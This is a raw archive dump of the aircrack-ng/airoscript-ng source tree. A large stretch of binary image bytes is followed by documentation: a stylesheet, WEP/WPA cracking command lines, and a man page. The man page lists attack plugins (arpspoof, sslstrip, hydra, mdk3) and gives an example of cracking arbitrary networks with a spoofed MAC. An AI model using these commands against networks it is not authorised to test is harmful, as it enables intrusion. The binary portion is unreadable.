—®j·²±uœ,AUZÝ\œ4»b§Nw4jîP&`¿²Ý¼]úªP¶úªô“jjìR-–»`e+‰¼xÛÃh<"ûüâÛF½š/Í·¶Âè‹ÕÒȼPt£gE}þÜø©½ eu1™_ØUËå”Ú±ÖX¶XÌjV“rú+UJÏ|‰Sªµ`®©MÑLœÌ}èo¨ÍÁ(uËÈWãeô -5žÐʆ,¹«æÅÙ!Âz•†’Hz ;ê<:|‰ÈrŒ¡ó>ñ#=÷ýPRHÏØ¥]â¥9Iø~^n#$åOVj˜…ÖD4?DÚDà^!v~Wñ²V#*àmfçÔ*tVÚuãµr.ˆdš·þ…§íJîå¾soZl­8 š¶½H=4=§£¸I"Ž·,/Swà”-åºdÁf ‰aÒ¥âg¯ù;*ƒ*HB’eMEÑ»¥×o§â«bš%JýL¿JýŒ4“–1EÚ«–KD¸ù°Ä—¶M¡¥Dj¾‹Z×<…ôš” §ÑoqsWVÖÊÜšyë€øÒ)TxEÔ,õ\çæ~¾«b\QbèC²‘§ªš›¹sr={ äÉ£Êm¨/ѤŽ’Ï›à‘KïGLÆAÐIZ22Û{­U“¨ÁÙÙ+úFA†K¥0¢OìÅT©Ì›‚IÖ‹1 Vì_Ë|-‚f¥gˆìÎ,Ñd)FU3²ßëÊš%@ÙX¿BÑÔð×q ZÀVmÙƒî}ôFYRÈDF£ÑÔr).ÀÅve¡CBïo"·±4ŠX—@K´85¬ÆmÚYŠÚàŒÊškÕ 69cu[׊ðj 4õ¦(×@VÀwd Ÿ½šÏ€ül¾lITR˪(+‚ö ’XÎæÎ‹¿a¤+ô–^ÓnˆV_Ât:)¤ZØóª™ÌÜÝÜͬzm­™#¬ÆSÝ.“›ùú\-Ð4׋J«…rË ƒS£ÿ»gæJ5Íøb4U/̨،‹W³ÎVeeÌ7vÓÌ`|%UL.Áš¹kL¡®JÝÛ›Ê/=‚ZЩŒ ¸áð{]ø™_.g™­µ øPTÑîðòìŽôH½rÓ¢(¼òK?·W_\ØeTÕ…Sjz~¡T£ÁŽ]¡aV]ªKVßPD­cú­rx½°•±´”èR·I^ôA¸úuoùuíÎ[G ‚L‡%ÐÛUĆÖ/Mç»DjsSh’^þÈ\ˆã–ÓÑ]ûLñ:LE«¶¸4„~JâËÒ:”vjfÉÏkÖ;3W“‘•%e¦ÓéUµ,š ­¬ͪ››‘]þÁ–g¡dIE=Í„ò÷5ýh™šØ‘=•Ü5fÍŒÃÏmíÞ ûøé‘\Géópë{‹ë{¡î!˜ã0ìNØ÷¶ÝÃiÿ¿œ^þõþè8ôé¿þ¾ß%yÚÖ}ƒ‚Ã[üؽ=ýN` Àò»¾†ÝïÚ:Îûܹîó>$ÇÏ¡{÷þ0 ï%<í?uÛ.÷œûzׯá.ImõoÞÄYhý‹|¨“ òî'^;‰»4øí@:“½&¿c¢ —ì ¿uvW…™Øó‹¯§7ø‹ÙÅÕùÅìÛ)TçE«ó©»ñË-Õ¸Ëó‚ðFµ3„S“g(FîX€Õæõ·)šk°Ld0“¼XúÕ]~SÆs¬pŠª1jò¬­T”gF]©f ö|®üe¡æà)¼–¢De îltóBZ=D«¬©U.A+ƒlª×~äºYkõú)'Ó¯+20š5‹‹›»¯‹åäË™.fË/&7vTÍÌâòÌ«ë5D)¯G®øþWÓ«E!~ª[°W3M_(ƒzùš!b1GE„À›q„j¾€ˆÐ‰ñÀHyÐÓ ;ˆMc½ÖTXßQ·°$ŒHáGÐ;Kº8ú€j°Ñöº„ˆ¸ŠwP*1 ðò9 è]]˜Z^nBH*k1l'SR ýý‚î Ui2‰ÊÊשqeîþí òF|µ4¤jVé³?Ñ5‘lç…”º¸ÞÓ7ð–@„h½Ôüq®>¤{™±·qï( ¦ä•5KŒc6¯ Y­}Ò6B"š~*ヌ@q¾vþ€X >…¾ÂûÞ Þ­I;x9÷Øí¢3(î‰ê!i×3¥””^sé)…Ì5EÝçf^4å¸ôT‹#‹68¯™hFZÂÕÎ‹ÖÆ|ÇÞ “ë›y'úlÓ­SÚõ|ëRßõýCX#™úLØ¥î>Ú>J¿=†¤Û7Ä’­c êÈ¢QH•ö¡¢ÖR"Ä¿±ÌEÈ ^&!)Ñ7+?‹0EŸi×0GAU‹_½†1Õ#&ð8k­¿ž‘µ³ÌÚÉI©µc{MóDýH…DZ9ǰC/à žS¦¾MÒ ‘ú=‡Œƒ "@Ñ&Ûui{¢¸‹ì<üpvc/‹å&jR"ŽºšæFÍîˆz>ùR|e{ãç“§æ­ÿ¶Œ…Ò€…µ ¶êɬ2•½2ÅlJ¶(c`16VjVÀƒ¢«›éM©ø¼øí–pS¨ ºåÈ~?5æù×jR–v¦zy÷ìf>™5‹Yeh¼dgwö™&c´šìE¼­pæ«™²^UKˆ¬–ÙL4M7ˆž=Œ+mÔâK\½ð³qµü~¼øScuÅÜTž5š;˜UÍha 3M–Ëñί—Wç“gcŠ+3Wh§Z¡ê}éÆ"µ¡8ÕzVDôS«&LF™ÅB+–mm(a‹TÛºå–Å8¶F)_ÝMýeñpc®Ši»ôÏ¢)#X\ûì¡ÙÂ(;ºž¼šû¯ž%/X,%Â@\ìü÷Ŭ„±/„Í7 52–‹ÌMS)_5ý½¤¨tqõ…M}qÝ,ÔÍÕ׿º©”š5-^Í–fzÕŽÎ>ðŠ“lq- !=_»B»€HG—×uh\|-ØŸÂïÞ2¤&”І6ƒaK«ƒls$!ñ:Ë ]JÔõŸ?&Wf<­¼fªéÁmåc÷6†îÄkê(Ë©ßÓ@oÚ7]²ÈBt²ëû¶öz›Cî˜OoêUJ1¸œ5† Ñ1°4n›…b´á‘üi[þ2|Þãê6¡ödÀТÎD¥Ì’Rb’>È©ÿáìååMü &gM5sXM.ô+­Çl8Žf‘¥ ±8*«ÖN2\S²¢¦8'í{DuƒÄV«ØÞÌ“<`ßkrŸ²ž§@6åZiãliEÕ›ìr%![Ž*¹iy &áÐ9]°mÀR´ûÆØûãKióZ.©ó¶TW”€Ýõ+28sº{C²AoãRSgc{gÈ\–æÇYá-^)“ŸauõÌÆÍÜg*4vdÌÒýú¬_9O³Yac±³f7FÉvp `1÷ Zõ©|fåÕdË ENLtÇL/ î< ˜>qw¿“‡SýINë>¸'àf=”i¾ãÃé‰(]‡]ôåŽÖu—½éŽCý’>Ï#Sœ×©IhŽÐ=vݱ[cî>C·NŽ£eì ‰¸U`ßå’vÜû€Ðp+3°U&âìêÕx×,G 3‡Õ¿¿"»›ùö×ge†[Iº •sÌÈ&ÖÍZqlHyðZúC¨ŸNCÙ¯ƒìž·¾Þ†ž£tû^wÝì>$Þ2„zO¯óçîXçS7ü¤-û! ˜Ý‡u›}]Ec¦K;³f1Sæ™5~Sè‰i oˆ ƒ@肌çV{ÓØÉÊÏ­¨u+õG£H$qI-"Sùˆ>?°n´ŸÏØ{m{ƒt:¢E‹oæêWvjlñëßêVͬ7Óñ•²F])¿PãecÆWº[¨éòbTTÅôëñf9ùöÛóñr³(¬±³«›+;÷ú¦˜ŸE~V(åÆÊo•/.Ÿ/ÎÇjaUs޶P £ôtäýµ½°ærÍ—ËI1óñ|±|älÉAº9ã?õ)ƒbÜvnÙ¡ ·ڡ΀ž÷ì-´Ë\Îú%Ë‘!À ’RܹÔ$ß÷6|Æ ›cN Ö$Í(oMItí£U$;Îè£ Çwᛳ?&@¾¬ÕÔ ;B¿Y¶éî²æ‘Ò÷* ðhð'¦¢–9 Ô(&q¾‚V\‹Tlå`Ò1)}dísòÔÓ¬¤®ï#’£ì(n1!óÛ´%:N/»#ÚÔ°Æ-ínó-Çx‰qü!rŽäè^,GŒˆF±ŒÞ@òˆªñxí)þš ßP¼äH;2ÿJ“7¢nvS¥[ÇÐ Ü„W3ÿ ggm¿bÖì ±ЄP"¹ÚêcYCs©›õN¢SÄÉok†­ë_è÷ëüÃFbÒ§6% î—˜_öîrwZ‡Ž×OSŽœèÑ»‡ýËûþ“ 9tü‹«c€íÇ÷uhöÔvbþe_?¼žÜ›wûný1ݺnŸ‹0¬º„õy"ôTçÔ´dûÄ»=µÉ®W´â¾U(†±QN>Ò¶×Á}̦L¿ÈNnÏP_V`ìäzJ6SÅÅTÝÌ\s®ÔÖ²òÔ$‚mÕr3$, ÜÕL-ØRß3±ßå±tqJ!dN„ޝÊÈbÛékc;PVD$/±NúD”K¤:£-㋨t„ÈI°ÿ!R<+s¦š–5õŸQªÂ`ƒ!IÞ4~l…ðFO-áT‹oQ*sS£–ËÅEEEilþíÔDŒ­ye.σÛÞ†[ )£ÿ ’ ¹ûÇ'—‡®‹ë7O'9=ýþÉ}þå÷Ã_~¡—]’w‡{—8娻îÈqO2#”Ÿ~é%ïC†£ë ˜Áïö\ )­Ø®î}û½ãÎ÷›1Ts! ¦d4ÌȾ&Öµ—÷‡€Sæ~Kƒ^@Ê‘Àö” æ\ÈÜíC™`ûîýoÉva9œäöÓíûþÍû'Ä!ïÿH/? ]f¡>R>õ]Œþtÿ(óÙ!=§-v×ÖГë{1`]±qÙËN¢!þ‰eØ×”4ð€ûBêCB\gz Œ)µC%gÀçîc"ëI[á~Õ›98Eм…íb½ÁÂ2Œû zVÉÔ8¼¶¶å aÔ숂ìÊu.—(ëÒ²0…0>öèÅq·ÓjÈ‹uTE ÔPGâWó}ruü¼Ë+$œÝî@º¾´m29p^»è¸¢ýŸ»à<ô,~—Üu„9ØZÖ²‹Ú&è Š]J6Kƒ‡¼N{¯¨{!VvEÝ(&Ùfñ}j{^9N["rB뮢DNÓ.ö"=XÈ’Sºc‘—¶ߎåW‹RHcßΘ]Òý«kðôüì±_yK;ÍJP±ƒä–:Å/7@þI9ÈYpL8·ä íç…&œÞy Ñ8mŸÝ¡2K¹ZÒ´$,ÚÀ´”dG3ejko~;ÃñÏÍ+1þÜZ/z3õ…öõÍ×öÍí—îêNùgÊÑTw–¦Š,vVÛcQ\3š¶Ñž[ñv„­©ÔÄ¡peýÌ Ë´ ¥¸ 1—ŽÔz 1?o|1£ž‰çâR¯ã°:Û­tÇí\Úvð}ï|¨c¹þXî)½PÕŽþøiÛ•§SM;á°…„1ôÔY~xÐwTæÅñ1ÑÀšæžb™âxVˆÖöfZ4£+u¥°´~ÆGXÎí«¯Œ™[\€¢‰^ÕRßÍçÈÎ{ójÞ!±ŽÊ1Í(’{–Sü×~H YІîaé#¬Oi7 ÓŽßÜʻܣîû´W/;IúáéPá_N ÿïpL‡þ»³?[mVˆóg'ð­æ°T ¹Ç ÊË?›)iùh›å[Ň)"‰ÈŒ0&Shß ‹¸](, ¥ïÿ$Ö"$w93‘-VWª¹5…ò4‹W•Ьof fÖ¯¬ZZ.ß^9u3¯.§–Qñ5Ò+À:Œm~\¢E=n@YÅÎëDÑP«03²Ÿ„Ú2îpD„/—î‘¿‹H×6™Žx«€|üîìÕ³yk-”ª|áÛ‰uWÅÌÚ9NìájV`~tô¥¼Ð5á¯ÝβÁ¢¦Ò+’dÙRR³ èN±Í»ÇtžaoôƒSRpûYÿ¤daÀJÖ!»ÂÒÎ%"KºE¬–’t“¸åÌꚊ@³¨‰ðYcÁh"ô`A( Ys'ô}@G¦g>ÌÒR7vlã‰m¯´6+µ¬îbágwÕøìÕ—ãÉòK3:ÿúüfªfÓjñõÕòûéõÍbzq1;¿òEqqãÕd93ÅÒmF—‹¥Å]Tvæ—j~ö­A?_ÐØx¯9Y^MŒ¢¬Ù´E;ÿ’¾´ŠúÝ5WcnŠF»˜GÝ®Ôú!O&.kEȺ4F¬6P“) ˜ÕsQ篔o 5«ìt¹²VmÆ‹›ùPݕշ-èÍ¢4£«iµ¼šþãx1šL¿=¿ªÎç#«Î¿¾º¹»ðw‹_Ÿ½^·©Öxi-mPxŽ`”ÒUàGEÐ[1‡.KhG³ºs‚ -ÖÄq7s^µDŒrcãÎa©… DkF0`,üe!#]Ю]X¬o¦ÖÏ#°‹Z9¨*½ü³-Æ3F¡ÔÞ¸šY¸!ÿ¯‰Ñ:v[¢ÒhôÄœ z-eÜ¡uêtéºC¦º…–ØZKொy™ 'b±îJï¿9ÃF›”yºeâTÖpW i’Ý\K:`g#ÐåA‚µ¼w3Ý”2/A®ñ€ÚÆéÊm–íIp{Ü@CókŸ„ÑT°»vR¦(!"Ü–zN¨ ‹å°[±5l‡[ie¥»}l"Q) ˆ@“•" £»ëˆ@”¬!I&û¨]æñkêëÎâ êo¤ [4¦rî*ÇïÅVB04?«Œ @ø\ ¦H­qR)‹w6Y%Y‘QË™ŒšgDÏl–ÆíÜ©hÔ¾ßÌ1Ó÷ñÏEÅ»; €„Ð2F]h²¾x5m.GîWÖðŠ§ ,ÔxïçDÑo/sL~¬nž…™XàWWŽÜí¨-. ͨR¥)àºq°4´Ÿ Ù6· Y¿í ãì›PÃüÑE#¦@vÔˆP~uö`’çùÜ.”·ìxP=eLi lþšÈû,ià°Ï=ùõtèù%ùSŸê(Oâú¼®ãé`ô’¶§^h׿-åþuÇÔ[îwimá—:ˆ@ûmÀn¼ ±¤2¿Û§ÜuuJïd ÿr’:¾ÿ,a[oy8$Û ÜëPWŸ†M8pýHòr°±Û²mmK‰kÃBÀC,û‘7”ˆx#€ÐØë³\Ë;-µÐw}Þu×vXžé÷ÿÜÆSèéøyŠýð¢û_Ô¿qÃv8…aÞQ’á#SÇïÂ_äé©{ùŸwûwÛÓþôŸÞß?¾sìï§^ûÁžâñð‘{NÝ®¾¥~ŸÜ0ls¡ß]î!oóíº{ºýpOß½Ùßÿ£¤üÓ›Ûíú[ÿÇ¡~9É®|ä§°Mï²;…Ó~ØSzHŸöáþ6¾ë߯e•Žý'¹¯ˆz Í_!w¡®#q›ÃAÛÇúìJœ]Í¡‰ Bk÷b¨;TГL i¶E+cÒ/$Ù׎lªç8ƒxË2Ÿ+|~£*²óBEç†\µä™2$¸C óÚF]š^ç& HЄ¯%ëš¾³dbµ©›ËRcˆ*š !éŽX_U©G„Ë(¦™GÍ… ‘TŒ„ØÞ Ö\pO…²@áÜ”T¤˜Tô¾•ÂF¬Rˆ×goE\ôé")™rÜv Я½„*ÍW¡q"'9íŽN»ø’ÃC ›Û’ mÈv½nˆ=²]CáU~Èœ¶²ÚŠâ|¿#R;jÌ óaµÃÎ¥÷i—~ íÃþÔ%¼§v_&Ýö‡SÓ®Ó1¥@Ž€tºµö%ÚÌÑÑÄxi $ …œ²ÇÔ«YJCÚJ+ôÇ@ w.'êî胘H¨â'M‰Ö”ÑØã?ùßýLn—¡/…º#æ Á»ï©·ŸØm P8õYŸ( ·éIl7à~v$=oûŸ9¸ûî$Nž´>õqL yßwÃNÖi×=ò°Mkyê>Æt:Ôïv¼7ô.¹R÷é%uòTs­WÝRïÓПÒí~ß­Á­ß¤Ì!î7@ÛL©$q”§_öµ{Ä0¤< v8 )%‚§·ÿAp³¹q˜/á${e Ii«a-%+5P…žãU¨[à¬"¢êÞjz%u MíÌFͱ7–ØÝçd#F^Fý¬ÛÉä%ò}gàø{v;À[i€o⋃+€ÉèÂxðríÕéT6<õO™)”Œd-<ÿëÔù|® :ƒ…•iャéW&D§k¡Z…¼¼¸Ø ¨ñi%)h]•¢U3”æŒp¸0«4V$ó3AHFË2Éš£‹ÄÅÔìX4gÆŠí6袯ÎPÅNŒ“‘, ‹Ð¡½¨{T(‹9¡–h«6Lí ¦U¬»ó-û&¸­ìý˃ÿ\†qCR8Ûð&àX†yûb—ºOLºˆ]tÃ9ÎcBk®»!‚ôqÀD ˆâOë;ßà MQ_b@[/Ûªð4 ~¼"ŠÃÊ£$=Nê U¤ÚÓuš¸ ¶‡@{ÇçxÉÚ¥¢{ßJŒvÉÔïXŠÄ‡ýé`‘am §ë@Ý`Bçdzã)mx§ †Á_rg£F=jÔ!¾<øb.#µô V®¬ÅFQe É€K×X™GDþ'×aeù†ëÈÚí{Óuu¶óÝÊÞÇû8Âxçë6—»áµËÝþÇa€¡æsénøójõõu ûë-þ8¸w¯ö¯÷zuÓ9züþr½zÙÅ×›ŽÍõÞ­–×›ëÍmW¯~¾ã—ŠQO#‡0pgqßÝwØÝ‹6¼‰_FÄIWâ£Ñg.ûv"Úᖠコå—íád1ý8›üC&üSUÌ?HŽÞSÒdVËEŽlj÷%8RËÀ˜´-^ Ò°#c‰ šP2Œ2cÀ?q\j'÷+cU ñ¥ò€b0ºD¾4ž 9I0‘d&¸*¨ívô°àw{Í„¤€F-ÜR0»^ËF_Ø ]¨˜KŒRNpë°ê²ËÚ”U­‚“ªi>/O&Õ™9Î+)²‹E>1‡‹/ž´ÉûY𑿹WU•%ª|¦¦³\-žÛ+OÊŠs8¬Òçê“ųD<1GZdÈJ'ù,]œ}Z=&Œ¶ª|®Œi¥2vͨ ³b.Q!Éã¯A•Àì•LS5¢"NÙ+#q&~;eÃQdG•© L[u4Ëføæ¤´ TÙÉsž\.ÔñÁ›¥ÚžãK]KÆÐ›ÕÆ8M¾ _ÃW«›°¾ÙÂøC¿l7ѯ-¹8öçcðvŲ‘)f1ßm'm ˆ&f“¤ íò/åçòÐ&"Ìž·Ê²(sûYêA–P‚±²­ÔìlRý}Ö²0Æ]dç ÷ Ü2(G€^#oÑ1nրظ£©÷·6œoìhö¼ê¬’ÛnÍi¸Q̬݇›ñw!ðz¨Žñ×w§u(0’T çö^,± L++Ï¢e;WÖY…¬ŒÊM“JðR«´DÅÊfv-Ø«…géTŸ6µ'Erž}¬º>¾0PÉ;Æ.÷ ÔVö7Þ‡.´Äñ¿íÏÓ;szP:Ù:ÁIÖrn­Ò"•ã?49±‚ÙIe” ÆÀa„© åLN& J«š*WU–¤ù‡‹&€_Z_¥ _÷ò˜GH~˜B`TýT¡uÞâ6ç:¯76~èH¢"<×w©‰öTÙÖÓÙK`eA<ƒÊ ýÜçP¦OZyöÙD™& 8NüE6±¢Á4³ *Pyv ìln|•U¥ä–5Hé…ËZ; ·ÇߟҰ¢GEˆƒŽ/§K4Ó.r7b ÝUÔpÄž?EšPÚ+iÛ˜›œ-ªD®ÿyfÑ+,-ŠîÁØŽ- êPTÊŠYåÓÄæÐ ‰žUŽ$ê„-*ÁÙ´%`ÅÕL£P÷^ÅBÀ%W¬’A¢ÕGŸ/ Tˆ•NsÑ#çªRÑã.·q‰ÈÚ42¹o¨OÁ"c¸ a‰ìÃξÓ_|©Ù™âH¢bYÕµJm:C4Y@¥Äô5c8’ìj¸æ×ÈÐk,†´‘: UµÍO{6®×‘[4Ç 7X¶ l_H¬Ý—¶ A©Ú‡|ʶ¨ç8_Re•©­PÓ--ñ,C&Ú; Û‡~Ml9 S*ÈÛô¥¡¹‚â)ìÑSW±wAŠ/þŽ[¿ÍÀªãFµGÜ*[y¥þ-&QñôàÚZƯœFÇ0·G¸íõrçÞtá÷Á¶›_n_ï/¯Ûý»Õv³çÕý~9¾}\î~/7Áߡǯ6›ëÇwýíw? ÿ÷ú§ÿøáñÕê»ÿq×—¿»ýÛŠ®ÿÆ·ûñ‡ŸÆËÍ_ßþôó/4®¶úÝ¿ÿò¸)þøúò7»îuÜþþ¿¾Zþf÷êaÜ_ìßnÎß½Úüq|5þæ»ÿ}¤åO«?oï¯/‡¯þº‹Ãwwã6œ¿ýy3ìÇâúöüîõ[º÷ûÍfôåðh6±~C€Ñwcç:o¿ÑcåyþÿîÑ¢î^«ÏëIEND®B`‚aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/css/stylesheet.css0000644000000000000000000000273511662075516024567 0ustar rootrooth1, h2{ text-shadow: 2px 2px 2px #ca9; text-align:center; } p{ padding-left:10px; } pre{ padding-left:30px; } body { background: #fafafa url(black-Linen.png); } img{ display: block; margin-left: auto; margin-right: auto; border: solid 1px #EFEFEF; border: solid 1px #CCC; -moz-box-shadow: 3px 3px 5px #999; -webkit-box-shadow: 3px 3px 5px #999; box-shadow: 3px 3px 5px #999; } .section { color:black; position: relative; width: 90%; padding: 10px 0; background: rgba(240, 240, 240, 0.5); padding: 20px 20px 20px 20px; margin-left:auto; margin-right:auto; margin-bottom:30px; margin-top:30px; /*** cross browser box shadow ***/ -moz-box-shadow: 0 0 2px #fff; -webkit-box-shadow: 0 0 2px #fff; -ms-filter: "progid:DXImageTransform.Microsoft.Glow(color=#ffffff,strength=3)"; filter: progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=0,strength=3) progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=90,strength=3) progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=180,strength=3) progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=270,strength=3); box-shadow: 0 0 2px #fff; } .document{ color: white; padding: 14px 20px; background-color: rgba(90,60,40,0.6); margin: 20px 20px 20px 20px; -webkit-border-radius: 6px; /* for Safari */ -moz-border-radius: 6px; /* for Firefox */ } aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/crack.rst0000644000000000000000000000221411662075516022701 0ustar rootrootCrack ------ This section defines cracking menu. Note: If "pipe" variable is set, it will be executed and piped into aircrack-ng (that's the way the john the ripper plugin works, actually) Note: If writekey variable contains a set of commands to write the key to a file (wich is default on auto) WPA Crack ========== It will execute attacks against a wordlist. WEP Crack ========= Default ++++++++ Executes aircrack-ng with the following options :: "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap $crack_extra_opts $writekey"; $clear; break ;; Korek ++++++ Executes aircrack-ng with the following options AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey Interactive +++++++++++ Same as default, except that it allows you to enter personalized fudge_factor and enc_size. Executes aircrack-ng with the following options: :: AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/resolution.rst0000644000000000000000000000000011662075456024013 0ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/attacks.rst.html0000644000000000000000000000103411711531302024173 0ustar rootroot
aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/exit.rst0000644000000000000000000000015011662075456022567 0ustar rootrootExit ----- Quitting airoscript will ask you if you want it to delete temp data and virtual interfaces. aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/scan.rst.html0000644000000000000000000000132011711531302023463 0ustar rootroot Scan

Scan

Scanning is a simple menu, just asking for encription (wich can be set up to be anything (default)) and channel (hoping by default).

aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/resolution.rst.html0000644000000000000000000000103411711531302024744 0ustar rootroot
aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/airoscript-ng.10000644000000000000000000001524212201437117023111 0ustar rootroot.\" Man page generated from reStructeredText. . .TH AIROSCRIPT-NG 1 "2011-11-17" "1.1" "net" .SH NAME Airoscript-ng \- User interface to aircrack-ng . .nr rst2man-indent-level 0 . .de1 rstReportMargin \\$1 \\n[an-margin] level \\n[rst2man-indent-level] level margin: \\n[rst2man-indent\\n[rst2man-indent-level]] - \\n[rst2man-indent0] \\n[rst2man-indent1] \\n[rst2man-indent2] .. .de1 INDENT .\" .rstReportMargin pre: . RS \\$1 . nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin] . nr rst2man-indent-level +1 .\" .rstReportMargin post: .. .de UNINDENT . RE .\" indent \\n[an-margin] .\" old: \\n[rst2man-indent\\n[rst2man-indent-level]] .nr rst2man-indent-level -1 .\" new: \\n[rst2man-indent\\n[rst2man-indent-level]] .in \\n[rst2man-indent\\n[rst2man-indent-level]]u .. .SH SYNOPSIS .sp airoscript\-ng [\-h] [\-t TERMINAL] [\-v] [\-w WIRELESS_CARD] [\-b] [\-m fakemac|realmac] [\-a] [\-n FILTER] [\-x] [\-z] [\-p PLUGIN_FILE] .SH DESCRIPTION .sp Airoscript is a complete user interface for aircrack\-ng. .sp It gives you almost all functionality that aircrack\-ng has, allowing you to save some time from writting commands. Writing commands may be good to learn how does it work, but repeatedly doing so can damage your mind and your body. .sp Airoscript also provides a comprehensive way to generate CEO\-readable network security reports, writable (by wkhtml2pdf plugin) as pdf. .SH OPTIONS .INDENT 0.0 .TP .B \-h Show this message .TP .BI \-t \ terminal Specify terminal .TP .B \-v Verbose & debug mode .TP .BI \-w \ wireless_card Specify wifi card .TP .B \-b Writes a csv file with network data. .TP .BI \-m \ mac_mode Change mac to fakemac before everything else. (mac mode can be fakemac or realmac) .TP .B \-a Automatic mode .TP .BI \-n \ regex Filter SSID by regex .TP .B \-x Autoconfigure network after automatic crack (requires \-a) .TP .B \-z Don\(aqt scan automatically at start .UNINDENT .SH EXAMPLES .sp Crack the first of all my test networks using my own mac .INDENT 0.0 .INDENT 3.5 .sp .nf .ft C airoscript\-ng \-w wlan0 \-m realmac \-n "XayOnTest_(.*)" .ft P .fi .UNINDENT .UNINDENT .sp Try to crack any network with faked mac. Warning, this may conduct you to commit a crime .INDENT 0.0 .INDENT 3.5 .sp .nf .ft C airoscript\-ng \-w wlan0 \-m fakemac \-a .ft P .fi .UNINDENT .UNINDENT .\" The following one is a little bigger .\" - It loads digenpy plugin (wich means that if a network can be cracked with a dictionary provided by digenpy, it will wait for only FOUR packages, then crack it with dict) .\" - It forces to use xterm interface (wich, by the way, is the default stuff) .\" - Uses wlan1 as interface .\" - Writes a csv file with the network data for posterior analysis .\" - Uses your real mac .\" - Starts debugging mode (it just prints out more information than usual (ugly as hell, meant for dev)) .\" - Autoconfigures network after cracking. This SHOULD NOT DO ANYTHING IN THIS EXAMPLE (auto mode), as at the end of automatic mode, it already asks you to configure it. .\" .\" airoscript-ng -t xterm -v -w wlan1 -b -m realmac -a -n "XayOn_" -x -pdigenpy . .SH DEVELOPERS .nf Help and feedback is greatly appreciated. Please feel free to mail XayOn at \fI\%xayon@xayon.net\fP .fi .sp .SH COMPLIANCE .sp In the wrong hands, airoscript and aircrack\-ng could easily violate the government certification of your radio. .sp A simple example is running injection on frequencies your radio isn\(aqt certified for in your geographic region. .sp You and only you are responsible for making sure that your tools \fIincluding\fP \fIairoscript\fP are compliant with the regulations in your country and region. .SH BUGS AND FEATURE REQUESTS .sp Please submit bugs in aircrack\-ng trac or aircrack\-ng oficial forum "airoscript support" subforum. .SH MENU USAGE .sp Airoscript\-ng menu is quite intuitive, and it\(aqs documented in the html docs. .sp Since version 1.1 is able to queue commands, that is, you can tell it to do 1 then 2 in a menu just by entering "1 2" (without the quotes). .SH CONFIGURATION .sp There are 2 configuration files, airoscript\-ng.conf and airoscript\-ng_advanced.conf that are well explained within them. .\" this is for the manpage, sorry for the inconvenience . .SH REQUIREMENTS (DEPS) .SS Build\-deps .sp gettext .SS Deps: .nf GNU gettext (gettext package) ip (iproute package) aircrack\-ng (same version as airoscript\-ng) \fIWorking\fP injection capable driver for the interface you want to use mrxvt|xterm|gnome\-terminal \-> Preferibly xterm aircrack\-ng ( = airoscript\-ng_version) ) bash ( >4.0 ) iproute ( /bin/ip ) .fi .sp .SS Recommended .nf digenpy ( \fI\%http://github.com/XayOn/Digenpy\fP ) # Depends on python 2.6 macchanger mdk .fi .sp .SH PLUGIN SUPPORT .sp Airoscript supports plugins, shell scripts listed in enabled_plugins on airoscript configuration (use the full path there). .sp Since svn revision 1969 airoscript\-ng has a plugin menu, wich will make you able to enable any plugin after airoscript has been started just by selecting it. .sp Currently (at 1991) the plugin list that comes out with airoscript is: .INDENT 0.0 .INDENT 3.5 .INDENT 0.0 .IP \(bu 2 arpspoof \-\-> Enables arp spoof menu .IP \(bu 2 digenpy \-\-> Enables digenpy dictionary generator for cracking .IP \(bu 2 dsniff \-\-> launches dsniff (better use it with arpspoof and sslstrip) .IP \(bu 2 hydra \-\-> Configures network, then launches hydra to get router password .IP \(bu 2 iptables \-\-> Configures iptables to redirect trough it (needed for arpspoof sslstrip) .IP \(bu 2 johntheripper \-\-> Enables john the ripper to generate password lists for cracking WPA .IP \(bu 2 mdk3 \-\-> Enables mdk3 menu .IP \(bu 2 sslstrip \-\-> Enables sslstrip menu .IP \(bu 2 tcpdstat \-\-> When making a report, includes tcpdstat\(aqs protocol statistics .IP \(bu 2 wkhtmltopdf \-\-> Converts reports to pdf .IP \(bu 2 zenity \-\-> Enables a zenity\-based graphical interface for airoscript\-ng (needs also libnotify\-bin) .IP \(bu 2 pyrit \-\-> a raw interface for pyrit, requires pyrit knowledge .UNINDENT .UNINDENT .UNINDENT .SH CREATING A PLUGIN .sp For a plugin to add a menu entry, you\(aqll have to set $plugins_menu["Title of the menu you want to use"] to an array of the entries you want to add. .sp Have a look at \fI\%http://xayon.net/adding\-nessus\-support\-to\-airoscript/\fP for a more complete tutorial. .SH SEE ALSO .nf airoscript.conf(1) airdecap\-ng(1) airdriver\-ng(1) aireplay\-ng(1) airmon\-ng(1) airodump\-ng(1) airolib\-ng(1) airsev\-ng(1) airtun\-ng(1) buddy\-ng(1) easside\-ng(1) ivstools(1) kstats(1) makeivs\-ng(1) packetforge\-ng(1) wesside\-ng(1) aircrack\-ng(1) .fi .sp .SH AUTHOR This manual page was written by David Francos .SH COPYRIGHT David Francos Cuartero .\" Generated by docutils manpage writer. .\" . aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/install0000644000000000000000000000043112201437473021636 0ustar rootrootRequirements (Deps) =================== Deps: +++++ | ip (iproute package) | aircrack-ng (same version as airoscript-ng) | bash ( >4.0 ) | iproute ( /bin/ip ) Recommended ++++++++++++ | digenpy ( http://github.com/XayOn/Digenpy ) # Depends on python 2.6 | mdk | macchanger aircrack-ng-1.2-beta3/scripts/airoscript-ng/Makefile0000644000000000000000000000677412272366142021162 0ustar 